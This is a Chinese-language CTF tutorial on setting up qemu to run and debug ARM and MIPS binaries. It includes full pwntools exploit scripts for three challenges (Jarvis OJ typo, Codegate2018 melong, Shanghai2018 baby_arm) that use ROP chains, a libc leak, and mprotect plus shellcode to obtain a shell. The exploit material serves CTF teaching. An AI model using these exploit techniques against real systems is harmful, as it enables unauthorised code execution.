这篇文章将以几道 CTF 题目为例讲解 pwn arm binary的一些问题

环境搭建

环境的搭建过程我之前写过, 这里偷个懒直接全文粘贴过来


原文链接M4x@10.0.0.55 本文中用于展示的binary分别来自Jarvis OJ上pwn的add,typo两道题

写这篇教程的主要目的是因为最近想搞其他系统架构的 pwn,因此第一步就是搭建环境了,网上搜索了一波,发现很多教程都是需要树莓派,芯片等硬件,然后自己编译 gdb,后来实践的过程中发现可以很简单地使用 qemu 实现运行和调试异架构 binary,因此在这里分享一下我的方法。

主机信息:

以一台新装的 deepin 虚拟机(基于 debian)为例,详细信息如下:

预备环境安装:

  • 安装 git,gdb 和 gdb-multiarch
1
2
$ sudo apt-get update
$ sudo apt-get install git gdb gdb-multiarch
  • 安装 gdb 的插件 pwndbg(或者 gef 等支持多架构的插件)
1
2
3
$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh

装好之后如图:

  • 安装pwntools,不必要,但绝对是写exp的神器
1
  $ sudo pip install pwntools

安装qemu:

1
2
$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

通过 qemu 模拟 arm/mips 环境,进而进行调试

安装共享库:

此时已经可以运行静态链接的 arm/mips binary 了,如下图:

但还不能运行动态链接的 binary,如下图:

这就需要我们安装对应架构的共享库,可以通过如下命令搜索:

1
$ apt search "libc6-" | grep "ARCH"

我们只需安装类似 libc6-ARCH-cross 形式的即可

运行:

静态链接的 binary 直接运行即可,会自动调用对应架构的 qemu;

动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径,如下图32位的动态链接 mips binary

使用 -L 指定共享库:

1
$ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add

调试:

可以使用 qemu 的 -g 指定端口

1
$ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add

然后使用gdb-multiarch进行调试,先指定架构,然后使用remote功能

1
2
pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)
pwndbg> target remote localhost:1234

这样我们就能进行调试了

效果图:

more:

同样,如果想要运行或者调试其他架构的 binary,只需安装其他架构的 qemu 和共享库即可

reference:

https://docs.pwntools.com/en/stable/qemu.html

https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-arm-mips-elf-with-qemu-toolchain


运行和调试

安装好 qemu 之后, 就可以在本地运行和调试 binary 了, 我写了一个模板:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
import sys
context.binary = "your_binary"

if sys.argv[1] == "r":
    io = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    io = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "your_binary"])
else:
    io = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "your_binary"])

elf = ELF("your_binary")
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
context.log_level = "debug"

说明一下:

  • 根据 pwntools 的 官方文档, 使用 context.binary 指定 binary 时, 就可以不用指定 context.arch, context.os 等参数了

The recommended method is to use context.binary to automagically set all of the appropriate values.

  • python exp.py r 打远程
  • python exp.py l 本地测试
  • python exp.py d/a/b/… 用于本地调试, exp 启动后新启一个终端, 使用 gdb-multiarch 就可以通过 target remote localhost:1234 来进行调试了

  • 这里只写了使用 arm-linux-gnueabi 的情况, 使用 arm-linux-gnueabihf 的话更改参数即可, 关于二者的区别可以参考这篇 文章

arm 下的函数调用约定

arm 的参数 1 ~ 4 分别保存到 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡, 返回值存放在 r0 中

一图胜千言:

by the way, arm 的 pc 指针相当于 eip/rip, b/bl 等指令实现了跳转

接下来以几道题目为例进行分析

Jarvis oj - typo

题目和脚本链接

静态分析

1
2
3
4
5
6
7
8
jarvisOJ_typo [master●] check typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/m4x/pwn_repo/jarvisOJ_typo/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

32 位 arm 静态链接的程序, strip 过了, 并且没有开栈溢出保护, 因为是静态链接, 所以 binary 中一定会有 system 函数 和 /bin/sh 字符串, 如果能找到溢出点, 很容易就能用 rop 来解决了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
jarvisOJ_typo [master●●] ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
inquiry
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.

odour
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu-arm: /build/qemu-c9y6mQ/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed.
qemu-arm: /build/qemu-c9y6mQ/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed.
[1]    3426 segmentation fault  ./typo

思路

运行一下发现是一个打字游戏, 很容易就找到了溢出点, 利用 rop chain 构造 system(“/bin/sh”) 即可, /bin/sh 的地址比较好找, 只要找到 system 的地址, 这个题目就很容易解决了

binary 去除了符号表信息, 并不是太容易看出来函数功能, 幸运的是通过在 IDA 中查看 /bin/sh 的交叉引用, 我们能找到调用 system 的函数(sub_10BA8 函数中出现了 /bin/sh, 读过 system 源码的同学可以发现该函数与 system 的流程类似, 于是大胆猜测 sun_10BA8 即为 system, 后来事实证明确实是)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
char *__fastcall sub_110B4(int a1)
{
  char *result; // r0

  if ( a1 )
    result = sub_10BA8(a1);                     // system(a1)
  else
    result = (char *)(sub_10BA8((int)"exit 0") == 0);
  return result;
}

后来发现,使用 rizzo 可以恢复出 system 的符号表,这样寻找 system 的地址就很容易了

ROP

这样我们只需要找一个能控制 r0 的 gadget 寄存器就行了

1
2
3
4
5
6
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
0x00020904 : pop {r0, r4, pc}
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh          
Strings information
============================================================
0x0006c384 : /bin/sh

于是可以构造如下的栈结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
+------------+
|            |
|   padding  |
|            |
|            |
+------------+
| gadget_addr| <- 0x20904
+------------+
| binsh_addr | <- 0x6c384
+------------+
| junk_data  |
+------------+
| system_addr| <- 0x100B4
+------------+

这样在程序返回时, 经过 rop 就会实现 r0 -> “/bin/sh”, r4 -> junk_data, pc = system_addr 的效果, 进而执行 system(“/bin/sh”) 来 get shell

此时还有一个问题, 不知道 padding 的长度, 可以通过 pwntools 的 cyclic/cyclic -l 来找长度

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 R0   0x0
 R1   0xfffef024 ◂— 0x61616161 ('aaaa')
 R2   0x7e
 R3   0x0
 R4   0x62616162 ('baab')
 R5   0x0
 R6   0x0
 R7   0x0
 R8   0x0
 R9   0xa5ec ◂— push   {r3, r4, r5, r6, r7, r8, sb, lr}
 R10  0xa68c ◂— push   {r3, r4, r5, lr}
 R11  0x62616163 ('caab')
 R12  0x0
 SP   0xfffef098 ◂— 0x62616165 ('eaab')
 PC   0x62616164 ('daab')
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
Invalid address 0x62616164










────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp  0xfffef098 ◂— 0x62616165 ('eaab')
01:0004│     0xfffef09c ◂— 0x62616166 ('faab')
02:0008│     0xfffef0a0 ◂— 0x62616167 ('gaab')
03:000c│     0xfffef0a4 ◂— 0x62616168 ('haab')
04:0010│     0xfffef0a8 ◂— 0x62616169 ('iaab')
05:0014│     0xfffef0ac ◂— 0x6261616a ('jaab')
06:0018│     0xfffef0b0 ◂— 0x6261616b ('kaab')
07:001c│     0xfffef0b4 ◂— 0x6261616c ('laab')
Program received signal SIGSEGV
pwndbg> cyclic -l 0x62616164
112

或者可以直接爆破 padding 长度

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
import pdb
#  context.log_level = "debug"

#  for i in range(100, 150)[::-1]:
for i in range(112, 113):
    if sys.argv[1] == "l":
        io = process("./typo", timeout = 2)
    elif sys.argv[1] == "d":
        io = process(["qemu-arm", "-g", "1234", "./typo"])
    else:
        io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
    
    io.sendafter("quit\n", "\n")
    io.recvline()
    
    '''
    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
    Strings information
    ============================================================
    0x0006c384 : /bin/sh
    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
    0x00020904 : pop {r0, r4, pc}
    '''
    
    payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
    success(i)
    io.sendlineafter("\n", payload)

    #  pause()
    try:
        #  pdb.set_trace()
        io.sendline("echo aaaa")
        io.recvuntil("aaaa", timeout = 1)
    except EOFError:
        io.close()
        continue
    else:
        io.interactive()

Codegate2018 - melong

题目和脚本链接

静态分析

1
2
3
4
5
6
7
melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
[*] '/home/m4x/pwn_repo/Codegate2018_Melong/melong'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

思路分析

程序逻辑很简单, 就不写分析过程了, 漏洞很好找, write_diary 中 read 的长度是由我们输入的, 可以栈溢出, 先进入 PT 函数, 输入 -1, 再进入 write_diary, 就可以实现 arbitrary overflow 了, 因此思路同 x64 下的 rop 相同, 先 leak 出 libc 基址, 然后控制执行 system(“/bin/sh”) 即可

比赛时这道题目并没有给 libc 文件, 为了简化演示过程, 我直接用了我本地的 libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.binary = "./melong"

if sys.argv[1] == "r":
    io = remote("localhost", 9999)
elif sys.argv[1] == "l":
    io = process(["qemu-arm", "-L", "./", "./melong"])
else:
    io = process(["qemu-arm", "-g", "1234", "-L", "./", "./melong"])

elf = ELF("./melong", checksec = False)
libc = ELF("./lib/libc.so.6", checksec = False)
context.log_level = "debug"

def check(height, weight):
    io.sendlineafter(":", "1")
    io.sendlineafter(" : ", str(height))
    io.sendlineafter(" : ", str(weight))

def PT(size):
    io.sendlineafter(":", "3")
    io.sendlineafter("?\n", str(size))

def write_diray(payload):
    io.sendlineafter(":", "4")
    io.send(payload)

def logout():
    io.sendlineafter(":", "6")

if __name__ == "__main__":
    check(1.82, 60)
    PT(-1)
    '''
    0x00011bbc : pop {r0, pc}
    '''
    pr0 = 0x00011bbc
    leak  = flat(cyclic(0x54), pr0, elf.got['puts'], elf.plt['puts'])
    '''
    pwndbg> x/i $pc
    => 0xff6a7a48 <puts+400>:	pop	{r4, r5, r6, r7, r8, r9, r10, pc}
    '''
    leak += flat(elf.sym['main']) * 8
    write_diray(leak)
    logout()
    io.recvuntil("See you again :)\n")
    libc.address = u32(io.recvn(4)) - libc.sym['puts']
    success("libc.address -> {:#x}".format(libc.address))
    #  raw_input("DEBUG: ")

    check(1.82, 60)
    PT(-1)
    rop = cyclic(0x54) + p32(pr0) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
    write_diray(rop)
    logout()

    io.interactive()

Shanghai2018 - baby_arm

binary & exploit here

静态分析

题目给了一个 aarch64 架构的文件,没有开 canary 保护

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Shanghai2018_baby_arm [master] check ./pwn 
+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
+ checksec ./pwn
[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

看一下程序逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
__int64 main_logic()
{
  Init();
  write(1LL, "Name:", 5LL);
  read(0LL, input, 512LL);
  sub_4007F0();
  return 0LL;
}

void sub_4007F0()
{
  __int64 v0; // [xsp+10h] [xbp+10h]

  read(0LL, &v0, 512LL);
}

程序的主干读取了 512 个字符到一个全局变量上,而在 sub_4007F0() 中,又读取了 512 个字节到栈上,需要注意的是这里直接从 frame pointer + 0x10 开始读取,因此即使开了 canary 保护也无所谓。

思路

理一下思路,可以直接 rop,但我们不知道远程的 libc 版本,同时也发现程序中有调用 mprotect 的代码段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.text:00000000004007C8                 STP             X29, X30, [SP,#-0x10]!
.text:00000000004007CC                 MOV             X29, SP
.text:00000000004007D0                 MOV             W2, #0
.text:00000000004007D4                 MOV             X1, #0x1000
.text:00000000004007D8                 MOV             X0, #0x1000
.text:00000000004007DC                 MOVK            X0, #0x41,LSL#16
.text:00000000004007E0                 BL              .mprotect
.text:00000000004007E4                 NOP
.text:00000000004007E8                 LDP             X29, X30, [SP],#0x10
.text:00000000004007EC                 RET

但这段代码把 mprotect 的权限位设成了 0,没有可执行权限,这就需要我们通过 rop 控制 mprotect 设置如 bss 段等的权限为可写可执行

因此可以有如下思路:

  1. 第一次输入 name 时,在 bss 段写上 shellcode
  2. 通过 rop 调用 mprotect 改变 bss 的权限
  3. 返回到 bss 上的 shellcode

mprotect 需要控制三个参数,可以考虑使用 ret2csu 这种方法,可以找到如下的 gadgets 来控制 x0, x1, x2 寄存器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET

最终的 exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"

if sys.argv[1] == "l":
    io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
    io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
    io = remote("106.75.126.171", 33865)

def csu_rop(call, x0, x1, x2):
    payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
    payload += flat(x2, x1, x0)
    payload += '22222222'
    return payload


if __name__ == "__main__":
    elf = ELF("./pwn", checksec = False)
    padding = asm('mov x0, x0')

    sc = asm(shellcraft.execve("/bin/sh"))
    #  print disasm(padding * 0x10 + sc)
    io.sendafter("Name:", padding * 0x10 + sc)
    sleep(0.01)

    #  io.send(cyclic(length = 500, n = 8))
    #  rop = flat()
    payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
    payload += flat(0x400824)
    io.send(payload)
    sleep(0.01)
    io.send(flat(elf.plt['mprotect']))
    sleep(0.01)

    raw_input("DEBUG: ")
    io.sendafter("Name:", padding * 0x10 + sc)
    sleep(0.01)

    payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
    payload += flat(0x411068)
    sleep(0.01)
    io.send(payload)

    io.interactive()

notice

同时需要注意的是,checksec 检测的结果是开了 nx 保护,但这样检测的结果不一定准确,因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx 来决定(比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护),老版的 qemu 可能没有这个参数。

1
2
3
4
Desktop ./qemu-aarch64 --version
qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers
Desktop ./qemu-aarch64 -h| grep nx
-nx           QEMU_NX           enable NX implementation

如果有如下的报错,说明没有 aarch64 的汇编器

1
2
3
[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)
    Try installing binutils for this architecture:
    https://docs.pwntools.com/en/stable/install/binutils.html

可以参考官方文档的解决方案

1
2
3
4
5
6
Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64
p   binutils-aarch64-linux-gnu                                         - GNU binary utilities, for aarch64-linux-gnu target                           
p   binutils-aarch64-linux-gnu:i386                                    - GNU binary utilities, for aarch64-linux-gnu target                           
p   binutils-aarch64-linux-gnu-dbg                                     - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)           
p   binutils-aarch64-linux-gnu-dbg:i386                                - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)     
Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu

aarch64 的文件在装 libc 时是 arm64,在装 binutils 时是 aarch64

More

  • libc_datebase for arm?
  • 如何多快好省的分析 strip 后的程序
    • 后来了解到,对于静态编译的 bianry, 可以使用 lscan, flirt, rizzo, bindiff 等多种方法恢复部分符号表

后记

后来遇到 pwnable.kr 的 mipstake 这道题目,发现用以前的方法不能运行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
pwnable_mipstake [master●●] ls lib 
ld.so.1  libc.so.6
pwnable_mipstake [master●●] bat run.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: run.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1#!/usr/bin/env bash
   2set -euxo pipefail
   34unset LD_LIBRARY_PATH
   5   │ qemu-mips -L ./ ./mipstake
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwnable_mipstake [master●●] ./run.sh 
+ unset LD_LIBRARY_PATH
+ qemu-mips -L ./ ./mipstake
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
./run.sh: 行 5: 14538 段错误               qemu-mips -L ./ ./mipstake

把 ld.so, libc.so 放到同一目录下而不是使用 -L /usr/mips-linux-gnu/,可以让 gdb-multiarch 在调试时更清楚的识别对应的地址是什么文件而不只是显示一个 [linker]。这是在和 D4rk3r 师傅讨论一道题目的时候偶然发现的。

ld.so.1libc.so.6 在我本地又是可以运行的,说明不是 libc 版本的问题。

strace 跟踪一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwnable_mipstake [master●●] unset LD_LIBRARY_PATH          
pwnable_mipstake [master●●] qemu-mips -strace -L ./ ./mipstake
14911 brk(NULL) = 0x00412000
14911 mmap2(NULL,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x7f7c8000
14911 uname(0x7fffeac8) = 0
14911 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory)
14911 access("/etc/ld.so.preload",R_OK) = -1 errno=2 (No such file or directory)
14911 openat(AT_FDCWD,"/etc/ld.so.cache",O_RDONLY|O_CLOEXEC) = 3
14911 fstat64(3,0x7fffe718) = 0
14911 mmap2(NULL,148329,PROT_READ,MAP_PRIVATE,3,0) = 0x7f7a3000
14911 close(3) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0xcf9e3008} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    14911 segmentation fault  qemu-mips -strace -L ./ ./mipstake

发现了问题,/etc/ld.so.nohwacap/etc/ld.so.preload 这些文件不存在(原因可能是因为只用包管理装了对应 arch 的 libc 而没有其他信息)

1
2
3
4
pwnable_mipstake [master●●] ls /usr/mips-linux-gnu 
lib

# 没有 etc 这个目录

那么 /etc/ld.so.nohwacap 这些文件是什么作用呢?google 了一下,发现大概就是和 LD_PRELOAD 一个作用

https://superuser.com/a/1183252/960572

但知道了原因,不知道要怎么解决。。。刚开始是想看看有没有什么包能安装其他 arch 的 /etc/ld.so.preload 这些文件,但找了一圈没找到(如果有师傅有这样的解决方法请务必指教)。

后来偶然搜索到了这部分的 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
  /* We have two ways to specify objects to preload: via environment
     variable and via the file /etc/ld.so.preload.  The latter can also
     be used when security is enabled.  */
  assert (*first_preload == NULL);
  struct link_map **preloads = NULL;
  unsigned int npreloads = 0;
  if (__glibc_unlikely (preloadlist != NULL))
    {
      HP_TIMING_NOW (start);
      npreloads += handle_ld_preload (preloadlist, main_map);
      HP_TIMING_NOW (stop);
      HP_TIMING_DIFF (diff, start, stop);
      HP_TIMING_ACCUM_NT (load_time, diff);
    }
  /* There usually is no ld.so.preload file, it should only be used
     for emergencies and testing.  So the open call etc should usually
     fail.  Using access() on a non-existing file is faster than using
     open().  So we do this first.  If it succeeds we do almost twice
     the work but this does not matter, since it is not for production
     use.  */

从注释找到了解决方案,没有 /etc/ld.so.preload,我们还可以更改 LD_PRELAOD 这个环境变量。

修改一下运行脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
pwnable_mipstake [master●●] bat run.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: run.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1#!/usr/bin/env bash
   2set -euxo pipefail
   34LD_PRELOAD="./lib/libc.so.6" "./lib/ld.so.1" "./mipstake"
   5   │ qemu-mips ./mipstake
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwnable_mipstake [master●●] ./run.sh 
+ LD_PRELOAD=./lib/libc.so.6
+ ./lib/ld.so.1 ./mipstake
ERROR: ld.so: object './lib/libc.so.6' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
no need to brute-force..
listening...
^C

终于可以正常运行了,虽然还有报错,但只是 64 位系统和 32 位 libc 的兼容问题,影响不大。

Last

后来又发现只用 user mode 的 qemu 来模拟还是有很多缺陷的。。。像 gdb-multriarch 莫名跑飞或者甚至文件都不能运行。踩了很多次坑后有如下发现:

  1. 可以使用 docker,推荐 skysider/multiarch-docker。大部分的问题应该都能解决了
  2. 如果再调试时有问题,可以试下不用 gdb plugin,有些插件对异架构的识别效果并不好
  3. 如果还有问题,那就只能用系统级的 qemu 来模拟了,推荐一片 文章

如上边链接中所说

MIPS system is generally the most effective method of debugging as you do not have to deal with the process being emulated inside of an x86 QEMU User Mode process.

本文将不再更新(除非遇到很让人眼前一亮的方法),但欢迎私下交流和介绍经验:)

Reference

https://elixir.bootlin.com/linux/v2.6.32.51/source/arch/arm/include/asm/unistd.h

https://bbs.pediy.com/thread-224583.htm

https://courses.washington.edu/cp105/02_Exceptions/Calling%20Standard.html

http://hideroot.tistory.com/46

http://www.freebuf.com/articles/terminal/134980.html

https://code.woboq.org/userspace/glibc/elf/rtld.c.html#1606

https://superuser.com/a/1183252/960572

https://www.ringzerolabs.com/2018/03/the-wonderful-world-of-mips.html